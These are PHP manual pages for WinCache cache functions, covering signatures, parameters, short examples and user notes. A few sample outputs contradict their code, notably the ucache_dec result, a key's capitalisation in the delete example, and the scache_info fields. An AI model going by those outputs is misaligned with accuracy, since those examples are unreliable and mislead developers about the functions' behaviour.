array wincache_ocache_meminfo ( void )

Retrieves information about memory usage by opcode cache.

Return Values

Array of meta data about opcode cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the opcode cache
  • memory_free - amount of free memory in bytes available for the opcode cache
  • num_used_blks - number of memory blocks used by the opcode cache
  • num_free_blks - number of free memory blocks available for the opcode cache
  • memory_overhead - amount of memory in bytes used for the opcode cache internal structures

Examples

Example #1 A wincache_ocache_meminfo() example

<pre>
<?php
print_r(wincache_ocache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 134217728
    [memory_free] => 112106972
    [num_used_blks] => 15469
    [num_free_blks] => 4
    [memory_overhead] => 247600
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Refreshes the cache entries for the cached files

  • « wincache_ocache_meminfo
  • wincache_rplist_fileinfo »
  • PHP Manual
  • WinCache Functions
  • Refreshes the cache entries for the cached files

wincache_refresh_if_changed

(PECL wincache >= 1.0.0)

wincache_refresh_if_changed — Refreshes the cache entries for the cached files

Description

bool wincache_refresh_if_changed ([ array $files ] )

Refreshes the cache entries for the files, whose names were passed in the input argument. If no argument is specified then refreshes all the entries in the cache.

Parameters

files

An array of file names for files that need to be refreshed. An absolute or relative file paths can be used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

WinCache performs regular checks on the cached files to ensure that if any file has changed then the corresponding entry in the cache is updated. By default this check is performed every 30 seconds. If, for example, a PHP script updates another PHP script where the application's configuration settings are stored, then it may happen that after the configuration settings have been saved to a file, the application is still using old settings for some time until the cache is refreshed. In those cases it may be preferrable to refresh the cache right after the file has been changed. The following example shows how this can be done.

Example #1 A wincache_refresh_if_changed() example

<?php
$filename = 'C:\inetpub\wwwroot\config.php';
$handle = fopen($filename, 'w+');
if ($handle === FALSE) die('Failed to open file '.$filename.' for writing');
fwrite($handle, '<?php $setting=something; ?>');
fclose($handle);
wincache_refresh_if_changed(array($filename));
?>

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about resolve file path cache

  • « wincache_refresh_if_changed
  • wincache_rplist_meminfo »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about resolve file path cache

wincache_rplist_fileinfo

(PECL wincache >= 1.0.0)

wincache_rplist_fileinfo — Retrieves information about resolve file path cache

Description

array wincache_rplist_fileinfo ([ bool $summaryonly = false ] )

Retrieves information about cached mappings between relative file paths and corresponding absolute file paths.

Return Values

Array of meta data about the resolve file path cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_file_count - total number of file path mappings stored in the cache

  • rplist_entries - an array that contains the information about all the cached file paths:

    • resolve_path - path to a file
    • subkey_data - corresponding absolute path to a file

Examples

Example #1 A wincache_rplist_fileinfo() example

<pre>
<?php
print_r(wincache_rplist_fileinfo());
?>
</pre>

The above example will output:

Array
(
    [total_file_count] => 5
    [rplist_entries] => Array
        (
            [1] => Array
                (
                    [resolve_path] => checkcache.php
                    [subkey_data] => c:\inetpub\wwwroot|c:\inetpub\wwwroot\checkcache.php
                )

            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about memory usage by the resolve file path cache

  • « wincache_rplist_fileinfo
  • wincache_scache_info »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about memory usage by the resolve file path cache

wincache_rplist_meminfo

(PECL wincache >= 1.0.0)

wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache

Description

array wincache_rplist_meminfo ( void )

Retrieves information about memory usage by resolve file path cache.

Return Values

Array of meta data that describes memory usage by resolve file path cache. or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the resolve file path cache
  • memory_free - amount of free memory in bytes available for the resolve file path cache
  • num_used_blks - number of memory blocks used by the resolve file path cache
  • num_free_blks - number of free memory blocks available for the resolve file path cache
  • memory_overhead - amount of memory in bytes used for the internal structures of resolve file path cache

Examples

Example #1 A wincache_rplist_meminfo() example

<pre>
<?php
print_r(wincache_rplist_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 9437184
    [memory_free] => 9416744
    [num_used_blks] => 23
    [num_free_blks] => 1
    [memory_overhead] => 416
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about files cached in the session cache

  • « wincache_rplist_meminfo
  • wincache_scache_meminfo »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about files cached in the session cache

wincache_scache_info

(PECL wincache >= 1.1.0)

wincache_scache_info — Retrieves information about files cached in the session cache

Description

array wincache_scache_info ([ bool $summaryonly = false ] )

Retrieves information about session cache content and its usage.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the session cache summary.

Return Values

Array of meta data about session cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the session cache has been active
  • total_item_count - total number of elements that are currently in the session cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache
  • total_hit_count - number of times the data has been served from the cache
  • total_miss_count - number of times the data has not been found in the cache

  • scache_entries - an array that contains the information about all the cached items:

    • key_name - name of the key which is used to store the data
    • value_type - type of value stored by the key
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • ttl_seconds - time remaining for the data to live in the cache, 0 meaning infinite
    • age_seconds - time elapsed from the time data has been added in the cache
    • hitcount - number of times data has been served from the cache

Examples

Example #1 A wincache_scache_info() example

<pre>
<?php
print_r(wincache_scache_info());
?>
</pre>

The above example will output:

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [scache_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about session cache memory usage

  • « wincache_scache_info
  • wincache_ucache_add »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about session cache memory usage

wincache_scache_meminfo

(PECL wincache >= 1.1.0)

wincache_scache_meminfo — Retrieves information about session cache memory usage

Description

array wincache_scache_meminfo ( void )

Retrieves information about memory usage by session cache.

Return Values

Array of meta data about session cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the session cache
  • memory_free - amount of free memory in bytes available for the session cache
  • num_used_blks - number of memory blocks used by the session cache
  • num_free_blks - number of free memory blocks available for the session cache
  • memory_overhead - amount of memory in bytes used for the session cache internal structures

Examples

Example #1 A wincache_scache_meminfo() example

<pre>
<?php
print_r(wincache_scache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

There are no user contributed notes for this page.


Adds a variable in user cache only if variable does not already exist in the cache

  • « wincache_scache_meminfo
  • wincache_ucache_cas »
  • PHP Manual
  • WinCache Functions
  • Adds a variable in user cache only if variable does not already exist in the cache

wincache_ucache_add

(PECL wincache >= 1.1.0)

wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache

Description

bool wincache_ucache_add ( string $key , mixed $value [, int $ttl = 0 ] )
bool wincache_ucache_add ( array $values [, mixed $unused [, int $ttl = 0 ]] )

Adds a variable in user cache, only if this variable doesn't already exist in the cache. The added variable remains in the user cache unless its time to live expires or it is deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Parameters

key

Store the variable using this key name. If a variable with same key is already present the function will fail and return FALSE. key is case sensitive. To override the value even if key is present use wincache_ucache_set() function instad. key can also take array of name => value pairs where names will be used as keys. This can be used to add multiple values in the cache in one operation, thus avoiding race condition.

value

Value of a variable to store. Value supports all data types except resources, such as file handles. This paramter is ignored if first argument is an array. A general guidance is to pass NULL as value while using array as key. If value is an object, or an array containing objects, then the objects will be serialized. See __sleep() for details on serializing objects.

values

Associative array of keys and values.

ttl

Time for the variable to live in the cache in seconds. After the value specified in ttl has passed the stored variable will be deleted from the cache. This parameter takes a default value of 0 which means the variable will stay in the cache unless explicitly deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Return Values

If key is string, the function returns TRUE on success and FALSE on failure.

If key is an array, the function returns:

  • If all the name => value pairs in the array can be set, function returns an empty array;
  • If all the name => value pairs in the array cannot be set, function returns FALSE;
  • If some can be set while others cannot, function returns an array with name=>value pair for which the addition failed in the user cache.

Examples

Example #1 wincache_ucache_add() with key as a string

<?php
$bar = 'BAR';
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_get('foo'));
?>

The above example will output:

bool(true)
bool(false)
string(3) "BAR"

Example #2 wincache_ucache_add() with key as an array

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

The above example will output:

array(0) { }
array(4) {
  ["green"]=> int(-1)
  ["Blue"]=> int(-1)
  ["yellow"]=> int(-1)
  ["cyan"]=> int(-1)
}
string(1) "6"

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __sleep()

User Contributed Notes

There are no user contributed notes for this page.


Compares the variable with old value and assigns new value to it

  • « wincache_ucache_add
  • wincache_ucache_clear »
  • PHP Manual
  • WinCache Functions
  • Compares the variable with old value and assigns new value to it

wincache_ucache_cas

(PECL wincache >= 1.1.0)

wincache_ucache_cas — Compares the variable with old value and assigns new value to it

Description

bool wincache_ucache_cas ( string $key , int $old_value , int $new_value )

Compares the variable associated with the key with old_value and if it matches then assigns the new_value to it.

Parameters

key

The key that is used to store the variable in the cache. key is case sensitive.

old_value

Old value of the variable pointed by key in the user cache. The value should be of type long, otherwise the function returns FALSE.

new_value

New value which will get assigned to variable pointer by key if a match is found. The value should be of type long, otherwise the function returns FALSE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using wincache_ucache_cas()

<?php
wincache_ucache_set('counter', 2922);
var_dump(wincache_ucache_cas('counter', 2922, 1));
var_dump(wincache_ucache_get('counter'));
?>

The above example will output:

bool(true)
int(1)

See Also

  • wincache_ucache_inc() - Increments the value associated with the key
  • wincache_ucache_dec() - Decrements the value associated with the key

User Contributed Notes

There are no user contributed notes for this page.


Deletes entire content of the user cache

  • « wincache_ucache_cas
  • wincache_ucache_dec »
  • PHP Manual
  • WinCache Functions
  • Deletes entire content of the user cache

wincache_ucache_clear

(PECL wincache >= 1.1.0)

wincache_ucache_clear — Deletes entire content of the user cache

Description

bool wincache_ucache_clear ( void )

Clears/deletes all the values stored in the user cache.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 using wincache_ucache_clear()

<?php
wincache_ucache_set('green', 1);
wincache_ucache_set('red', 2);
wincache_ucache_set('orange', 4);
wincache_ucache_set('blue', 8);
wincache_ucache_set('cyan', 16);
$array1 = array('green', 'red', 'orange', 'blue', 'cyan');
var_dump(wincache_ucache_get($array1));
var_dump(wincache_ucache_clear());
var_dump(wincache_ucache_get($array1));
?>

The above example will output:

array(5) { ["green"]=> int(1)
           ["red"]=> int(2)
           ["orange"]=> int(4)
           ["blue"]=> int(8)
           ["cyan"]=> int(16) }
bool(true)
bool(false)

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Decrements the value associated with the key

  • « wincache_ucache_clear
  • wincache_ucache_delete »
  • PHP Manual
  • WinCache Functions
  • Decrements the value associated with the key

wincache_ucache_dec

(PECL wincache >= 1.1.0)

wincache_ucache_dec — Decrements the value associated with the key

Description

mixed wincache_ucache_dec ( string $key [, int $dec_by = 1 [, bool &$success ]] )

Decrements the value associated with the key by 1 or as specified by dec_by.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive.

dec_by

The value by which the variable associated with the key will get decremented. If the argument is a floating point number it will be truncated to nearest integer. The variable associated with the key should be of type long, otherwise the function fails and returns FALSE.

success

Will be set to TRUE on success and FALSE on failure.

Return Values

Returns the decremented value on success and FALSE on failure.

Examples

Example #1 Using wincache_ucache_dec()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_dec('counter', 2923, $success));
var_dump($success);
?>

The above example will output:

int(2922)
bool(true)

See Also

  • wincache_ucache_inc() - Increments the value associated with the key
  • wincache_ucache_cas() - Compares the variable with old value and assigns new value to it

User Contributed Notes

There are no user contributed notes for this page.


Deletes variables from the user cache

  • « wincache_ucache_dec
  • wincache_ucache_exists »
  • PHP Manual
  • WinCache Functions
  • Deletes variables from the user cache

wincache_ucache_delete

(PECL wincache >= 1.1.0)

wincache_ucache_delete — Deletes variables from the user cache

Description

bool wincache_ucache_delete ( mixed $key )

Deletes the elements in the user cache pointed by key.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive. key can be an array of keys.

Return Values

Returns TRUE on success or FALSE on failure.

If key is an array then the function returns FALSE if every element of the array fails to get deleted from the user cache, otherwise returns an array which consists of all the keys that are deleted.

Examples

Example #1 Using wincache_ucache_delete() with key as a string

<?php
wincache_ucache_set('foo', 'bar');
var_dump(wincache_ucache_delete('foo'));
var_dump(wincache_ucache_exists('foo'));
?>

The above example will output:

bool(true)
bool(false)

Example #2 Usingwincache_ucache_delete() with key as an array

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'blue', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

The above example will output:

array(4) { [0]=> string(5) "green"
           [1]=> string(4) "Blue"
           [2]=> string(6) "yellow"
           [3]=> string(4) "cyan" }

Example #3 Using wincache_ucache_delete() with key as an array where some elements cannot be deleted

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('orange', 'red', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

The above example will output:

array(2) { [0]=> string(6) "yellow"
           [1]=> string(4) "cyan" }

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Checks if a variable exists in the user cache

  • « wincache_ucache_delete
  • wincache_ucache_get »
  • PHP Manual
  • WinCache Functions
  • Checks if a variable exists in the user cache

wincache_ucache_exists

(PECL wincache >= 1.1.0)

wincache_ucache_exists — Checks if a variable exists in the user cache

Description

bool wincache_ucache_exists ( string $key )

Checks if a variable with the key exists in the user cache or not.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive.

Return Values

Returns TRUE if variable with the key exitsts, otherwise returns FALSE.

Examples

Example #1 Using wincache_ucache_exists()

<?php
if (!wincache_ucache_exists('green'))
    wincache_ucache_set('green', 1);
var_dump(wincache_ucache_exists('green'));
?>

The above example will output:

bool(true)

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Gets a variable stored in the user cache

  • « wincache_ucache_exists
  • wincache_ucache_inc »
  • PHP Manual
  • WinCache Functions
  • Gets a variable stored in the user cache

wincache_ucache_get

(PECL wincache >= 1.1.0)

wincache_ucache_get — Gets a variable stored in the user cache

Description

mixed wincache_ucache_get ( mixed $key [, bool &$success ] )

Gets a variable stored in the user cache.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive. key can be an array of keys. In this case the return value will be an array of values of each element in the key array. If an object, or an array containing objects, is returned, then the objects will be unserialized. See __wakeup() for details on unserializing objects.

success

Will be set to TRUE on success and FALSE on failure.

Return Values

If key is a string, the function returns the value of the variable stored with that key. The success is set to TRUE on success and to FALSE on failure.

The key is an array, the parameter success is always set to TRUE. The returned array (name => value pairs) will contain only those name => value pairs for which the get operation in user cache was successful. If none of the keys in the key array finds a match in the user cache an empty array will be returned.

Examples

Example #1 wincache_ucache_get() with key as a string

<?php
wincache_ucache_add('color', 'blue');
var_dump(wincache_ucache_get('color', $success));
var_dump($success);
?>

The above example will output:

string(4) "blue"
bool(true)

Example #2 wincache_ucache_get() with key as an array

<?php
$array1 = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'Blue', 'yellow', 'cyan');
var_dump(wincache_ucache_get($array2, $success));
var_dump($success);
?>

The above example will output:

array(4) { ["green"]=> string(1) "5"
           ["Blue"]=> string(1) "6"
           ["yellow"]=> string(1) "7"
           ["cyan"]=> string(1) "8" }
bool(true)

See Also

  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __wakeup()

User Contributed Notes

don dot raman at microsoft dot com 09-Mar-2010 08:12
As per documentation PHP 5.2 doesn't support serialization of PHP internal classes. This means code below will not work:

<?php
$d = new DateTime();
$d->format(DateTime::W3C);
wincache_ucache_set( 'q1', $d );
var_dump( wincache_ucache_get( 'q1' )->format(DATE_ATOM));
?>

The output of above code will be (as of PHP5.2.13):
[11-Feb-2010 08:35:29] PHP Warning:  DateTime::format() [<a href='datetime.format'>datetime.format</a>]: The DateTime object has not been correctly initialized by its constructor in C:\inetpub\wwwroot\phptest\tests\ucache\wincache8.php on line 5
And last var_dump will return bool(false).


Increments the value associated with the key

  • « wincache_ucache_get
  • wincache_ucache_info »
  • PHP Manual
  • WinCache Functions
  • Increments the value associated with the key

wincache_ucache_inc

(PECL wincache >= 1.1.0)

wincache_ucache_inc — Increments the value associated with the key

Description

mixed wincache_ucache_inc ( string $key [, int $inc_by = 1 [, bool &$success ]] )

Increments the value associated with the key by 1 or as specified by inc_by.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive.

inc_by

The value by which the variable associated with the key will get incremented. If the argument is a floating point number it will be truncated to nearest integer. The variable associated with the key should be of type long, otherwise the function fails and returns FALSE.

success

Will be set to TRUE on success and FALSE on failure.

Return Values

Returns the incremented value on success and FALSE on failure.

Examples

Example #1 Using wincache_ucache_inc()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_inc('counter', 2921, $success));
var_dump($success);
?>

The above example will output:

int(2922)
bool(true)

See Also

  • wincache_ucache_dec() - Decrements the value associated with the key
  • wincache_ucache_cas() - Compares the variable with old value and assigns new value to it

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about data stored in the user cache

  • « wincache_ucache_inc
  • wincache_ucache_meminfo »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about data stored in the user cache

wincache_ucache_info

(PECL wincache >= 1.1.0)

wincache_ucache_info — Retrieves information about data stored in the user cache

Description

array wincache_ucache_info ([ bool $summaryonly = false [, string $key ]] )

Retrieves information about data stored in the user cache.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the user cache summary.

key

The key of an entry in the user cache. If specified then the returned array will contain information only about that cache entry. If not specified and summaryonly is set to FALSE then the returned array will contain information about all entries in the cache.

Return Values

Array of meta data about user cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the user cache has been active
  • total_item_count - total number of elements that are currently in the user cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache
  • total_hit_count - number of times the data has been served from the cache
  • total_miss_count - number of times the data has not been found in the cache

  • ucache_entries - an array that contains the information about all the cached items:

    • key_name - name of the key which is used to store the data
    • value_type - type of value stored by the key
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • is_session - indicates if the data is a session variable
    • ttl_seconds - time remaining for the data to live in the cache, 0 meaning infinite
    • age_seconds - time elapsed from the time data has been added in the cache
    • hitcount - number of times data has been served from the cache

Examples

Example #1 Using wincache_ucache_info()

<?php
wincache_ucache_get('green');
wincache_ucache_set('green', 2922);
wincache_ucache_get('green');
wincache_ucache_get('green');
wincache_ucache_get('green');
print_r(wincache_ucache_info());
?>

The above example will output:

Array
( ["total_cache_uptime"] => int(0)
  ["is_local_cache"] => bool(false)
  ["total_item_count"] => int(1)
  ["total_hit_count"] => int(3)
  ["total_miss_count"] => int(1)
  ["ucache_entries"] => Array(1)
    ( [1] => Array(6)
      (
        ["key_name"] => string(5) "green"
        ["value_type"] => string(4) "long"
        ["is_session"] => int(0)
        ["ttl_seconds"] => int(0)
        ["age_seconds"] => int(0)
        ["hitcount"] => int(3)
       )
    )
)

See Also

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 08:53
One thing to note is that 'is_local_cache' field returned as one of the metadata in the array for User Cache will always return boolean false as User Cache is always global and never local.


Retrieves information about user cache memory usage

  • « wincache_ucache_info
  • wincache_ucache_set »
  • PHP Manual
  • WinCache Functions
  • Retrieves information about user cache memory usage

wincache_ucache_meminfo

(PECL wincache >= 1.1.0)

wincache_ucache_meminfo — Retrieves information about user cache memory usage

Description

array wincache_ucache_meminfo ( void )

Retrieves information about memory usage by user cache.

Return Values

Array of meta data about user cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the user cache
  • memory_free - amount of free memory in bytes available for the user cache
  • num_used_blks - number of memory blocks used by the user cache
  • num_free_blks - number of free memory blocks available for the user cache
  • memory_overhead - amount of memory in bytes used for the user cache internal structures

Examples

Example #1 A wincache_ucache_meminfo() example

<pre>
<?php
print_r(wincache_ucache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Adds a variable in user cache and overwrites a variable if it already exists in the cache

  • « wincache_ucache_meminfo
  • wincache_unlock »
  • PHP Manual
  • WinCache Functions
  • Adds a variable in user cache and overwrites a variable if it already exists in the cache

wincache_ucache_set

(PECL wincache >= 1.1.0)

wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache

Description

bool wincache_ucache_set ( mixed $key , mixed $value [, int $ttl = 0 ] )
bool wincache_ucache_set ( array $values [, mixed $unused [, int $ttl = 0 ]] )

Adds a variable in user cache. Overwrites a variable if it already exists in the cache. The added or updated variable remains in the user cache unless its time to live expires or it is deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Parameters

key

Store the variable using this key name. If a variable with same key is already present the function will overwrite the previous value with the new one. key is case sensitive. key can also take array of name => value pairs where names will be used as keys. This can be used to add multiple values in the cache in one operation, thus avoiding race condition.

value

Value of a variable to store. Value supports all data types except resources, such as file handles. This paramter is ignored if first argument is an array. A general guidance is to pass NULL as value while using array as key. If value is an object, or an array containing objects, then the objects will be serialized. See __sleep() for details on serializing objects.

values

Associative array of keys and values.

ttl

Time for the variable to live in the cache in seconds. After the value specified in ttl has passed the stored variable will be deleted from the cache. This parameter takes a default value of 0 which means the variable will stay in the cache unless explicitly deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Return Values

If key is string, the function returns TRUE on success and FALSE on failure.

If key is an array, the function returns:

  • If all the name => value pairs in the array can be set, function returns an empty array;
  • If all the name => value pairs in the array cannot be set, function returns FALSE;
  • If some can be set while others cannot, function returns an array with name=>value pair for which the addition failed in the user cache.

Examples

